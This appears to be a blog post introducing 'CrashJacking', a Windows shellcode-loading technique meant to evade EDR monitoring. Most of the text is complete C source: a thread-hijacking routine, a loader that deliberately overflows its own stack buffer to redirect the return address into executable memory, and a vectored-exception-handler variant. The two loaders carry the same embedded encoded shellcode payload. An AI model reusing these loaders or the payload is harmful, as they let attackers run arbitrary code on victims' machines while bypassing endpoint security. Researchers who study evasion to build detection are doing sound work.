“What if, instead of trying to exploit another program, a malware could simply exploit itself?”
That little “what if” turned into a proof-of-concept I now call CrashJacking — a technique where a program deliberately sabotages itself with a controlled buffer overflow, turning what looks like an accidental crash into a reliable way to hijack execution.
This techniques exploit a self overflow to modify RIP and change the execution flow without any API call is like a thread hijacking but without any API call
Thread Hijacking explained
Thread hijacking is a common malware technique used to execute a shellcode inside the context of a legitimate process. The idea is simple:
pause an existing thread, modify its CPU context so that the instruction pointer (RIP) points to your shellcode, and then resume it. From that point, the hijacked thread continues execution but is now running attacker-controlled instructions. In Windows, this usually involves suspicious API calls such as OpenThread
, SuspendThread
, GetThreadContext
, SetThreadContext
, and ResumeThread
—all of which are closely monitored by modern EDR solutions.
BOOL ThreadHijacking(HANDLE hThread,BYTE* pPayload,SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy your shellcode
memcpy(pAddress, pPayload, sPayloadSize);
if (!GetThreadContext(hThread, &ThreadCtx)){
return FALSE;
}
// Updating the next instruction to be your shellcode
ThreadCtx.Rip = pAddress;
// Update thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
return FALSE;
}
return TRUE;
}
How work the Crash jacking
Crash jacking is pretty simillar because we change the value of RIP register to our shellcode buffer using a self buffer overflow rewriting the return address in the stack transforming what appears to be an accidental crash into a controlled execution redirect.
This approach is very interesting because we can load our shellcode without any windows API that are hooked by most of EDRs solutions and requires no additional thread creation, and maintains a minimal footprint by leveraging the existing execution context of the current thread.

First Poc of crash jacking
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <string.h>
char vulnerable_buffer[256];
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xc8\xb7\xb5\xd0\xac\x8c\xea\x3c\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x34\xff\x36"
"\x34\x5c\x64\x2a\x3c\xc8\xb7\xf4\x81\xed\xdc\xb8\x6d\x9e"
"\xff\x84\x02\xc9\xc4\x61\x6e\xa8\xff\x3e\x82\xb4\xc4\x61"
"\x6e\xe8\xff\x3e\xa2\xfc\xc4\xe5\x8b\x82\xfd\xf8\xe1\x65"
"\xc4\xdb\xfc\x64\x8b\xd4\xac\xae\xa0\xca\x7d\x09\x7e\xb8"
"\x91\xad\x4d\x08\xd1\x9a\xf6\xe4\x98\x27\xde\xca\xb7\x8a"
"\x8b\xfd\xd1\x7c\x07\x6a\xb4\xc8\xb7\xb5\x98\x29\x4c\x9e"
"\x5b\x80\xb6\x65\x80\x27\xc4\xf2\x78\x43\xf7\x95\x99\xad"
"\x5c\x09\x6a\x80\x48\x7c\x91\x27\xb8\x62\x74\xc9\x61\xf8"
"\xe1\x65\xc4\xdb\xfc\x64\xf6\x74\x19\xa1\xcd\xeb\xfd\xf0"
"\x57\xc0\x21\xe0\x8f\xa6\x18\xc0\xf2\x8c\x01\xd9\x54\xb2"
"\x78\x43\xf7\x91\x99\xad\x5c\x8c\x7d\x43\xbb\xfd\x94\x27"
"\xcc\xf6\x75\xc9\x67\xf4\x5b\xa8\x04\xa2\x3d\x18\xf6\xed"
"\x91\xf4\xd2\xb3\x66\x89\xef\xf4\x89\xed\xd6\xa2\xbf\x24"
"\x97\xf4\x82\x53\x6c\xb2\x7d\x91\xed\xfd\x5b\xbe\x65\xbd"
"\xc3\x37\x48\xe8\x98\x16\x8d\xea\x3c\xc8\xb7\xb5\xd0\xac"
"\xc4\x67\xb1\xc9\xb6\xb5\xd0\xed\x36\xdb\xb7\xa7\x30\x4a"
"\x05\x17\x7c\x5f\x9e\x9e\xf6\x0f\x76\x39\x31\x77\xc3\x1d"
"\xff\x36\x14\x84\xb0\xec\x40\xc2\x37\x4e\x30\xd9\x89\x51"
"\x7b\xdb\xc5\xda\xba\xac\xd5\xab\xb5\x12\x48\x60\xb3\xcd"
"\xe0\x89\x12\xad\xcf\xd0\xd0\xac\x8c\xea\x3c";
void executeOverflow(char* input) {
char local_buffer[128];
memcpy(local_buffer, input,512);
}
void loadShellcode() {
PBYTE pShellcode = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pShellcode, shellcode, sizeof(shellcode));
char fake_shellcode[512];
memcpy(fake_shellcode + 152, &pShellcode, 8);
executeOverflow(fake_shellcode);
}
int main() {
loadShellcode();
return 0;
}
Disable compilation optimization and stack cookie


It is mandatory to remove the optimization because our local buffer is never used, otherwise the compiler will assume that if it is not used, copying data into it will be useless, so our buffer overflow will never be executed.
But without this optimization, the classic padding before rsp is no longer buffersize + 8, as the compiler no longer optimizes it, so debugging via x64dbg or any other debugger is mandatory.
void executeOverflow(char* input) {
char local_buffer[128];
memcpy(local_buffer, input,512); // local_buffer never used
// ret there
}
Improving the crash jacking via Vector Exception Handler
While the basic crash jacking technique relies on precise stack manipulation and offset calculations, we can simplify and improve this approach by leveraging Windows' Vectored Exception Handling (VEH). Instead of carefully crafting buffer overflows to overwrite return addresses, we can deliberately trigger an access violation and use a pre-registered VEH handler to intercept the exception and redirect execution to our shellcode. This method eliminates the need for offset calculations, works regardless of compiler optimizations.

Implementation
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xc8\xb7\xb5\xd0\xac\x8c\xea\x3c\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x34\xff\x36"
"\x34\x5c\x64\x2a\x3c\xc8\xb7\xf4\x81\xed\xdc\xb8\x6d\x9e"
"\xff\x84\x02\xc9\xc4\x61\x6e\xa8\xff\x3e\x82\xb4\xc4\x61"
"\x6e\xe8\xff\x3e\xa2\xfc\xc4\xe5\x8b\x82\xfd\xf8\xe1\x65"
"\xc4\xdb\xfc\x64\x8b\xd4\xac\xae\xa0\xca\x7d\x09\x7e\xb8"
"\x91\xad\x4d\x08\xd1\x9a\xf6\xe4\x98\x27\xde\xca\xb7\x8a"
"\x8b\xfd\xd1\x7c\x07\x6a\xb4\xc8\xb7\xb5\x98\x29\x4c\x9e"
"\x5b\x80\xb6\x65\x80\x27\xc4\xf2\x78\x43\xf7\x95\x99\xad"
"\x5c\x09\x6a\x80\x48\x7c\x91\x27\xb8\x62\x74\xc9\x61\xf8"
"\xe1\x65\xc4\xdb\xfc\x64\xf6\x74\x19\xa1\xcd\xeb\xfd\xf0"
"\x57\xc0\x21\xe0\x8f\xa6\x18\xc0\xf2\x8c\x01\xd9\x54\xb2"
"\x78\x43\xf7\x91\x99\xad\x5c\x8c\x7d\x43\xbb\xfd\x94\x27"
"\xcc\xf6\x75\xc9\x67\xf4\x5b\xa8\x04\xa2\x3d\x18\xf6\xed"
"\x91\xf4\xd2\xb3\x66\x89\xef\xf4\x89\xed\xd6\xa2\xbf\x24"
"\x97\xf4\x82\x53\x6c\xb2\x7d\x91\xed\xfd\x5b\xbe\x65\xbd"
"\xc3\x37\x48\xe8\x98\x16\x8d\xea\x3c\xc8\xb7\xb5\xd0\xac"
"\xc4\x67\xb1\xc9\xb6\xb5\xd0\xed\x36\xdb\xb7\xa7\x30\x4a"
"\x05\x17\x7c\x5f\x9e\x9e\xf6\x0f\x76\x39\x31\x77\xc3\x1d"
"\xff\x36\x14\x84\xb0\xec\x40\xc2\x37\x4e\x30\xd9\x89\x51"
"\x7b\xdb\xc5\xda\xba\xac\xd5\xab\xb5\x12\x48\x60\xb3\xcd"
"\xe0\x89\x12\xad\xcf\xd0\xd0\xac\x8c\xea\x3c";
PVOID g_pShellcode = NULL;
LONG WINAPI VehHandler(PEXCEPTION_POINTERS pExceptionInfo) {
// Check if this is an access violation
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
printf("[+] Access violation caught by VEH handler\n");
printf("[+] Original RIP: 0x%p\n", (PVOID)pExceptionInfo->ContextRecord->Rip);
// Redirect execution to our shellcode
pExceptionInfo->ContextRecord->Rip = (DWORD64)g_pShellcode;
printf("[+] Redirected RIP to shellcode: 0x%p\n", g_pShellcode);
// Continue execution at our shellcode
return EXCEPTION_CONTINUE_EXECUTION;
}
// Let other exceptions pass through
return EXCEPTION_CONTINUE_SEARCH;
}
// Trigger Access Violation
void TriggerCrash() {
// Deliberate null pointer dereference to trigger access violation
char* null_ptr = NULL;
*null_ptr = 0x41414141; // This will cause EXCEPTION_ACCESS_VIOLATION
}
int main() {
printf("[+] Allocating memory for shellcode...\n");
g_pShellcode = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (g_pShellcode == NULL) {
printf("[-] Failed to allocate memory for shellcode\n");
return -1;
}
memcpy(g_pShellcode, shellcode, sizeof(shellcode));
printf("[+] Shellcode loaded at: 0x%p\n", g_pShellcode);
// Installing VEH
PVOID hVeh = AddVectoredExceptionHandler(1, VehHandler);
if (hVeh == NULL) {
printf("[-] Failed to create VEH\n");
VirtualFree(g_pShellcode, 0, MEM_RELEASE);
return -1;
}
printf("[+] VEH created successfully\n");
// Trigger the controlled crash
printf("[+] Trigger crash jacking...\n");
TriggerCrash();
RemoveVectoredExceptionHandler(hVeh);
VirtualFree(g_pShellcode, 0, MEM_RELEASE);
return 0;
}
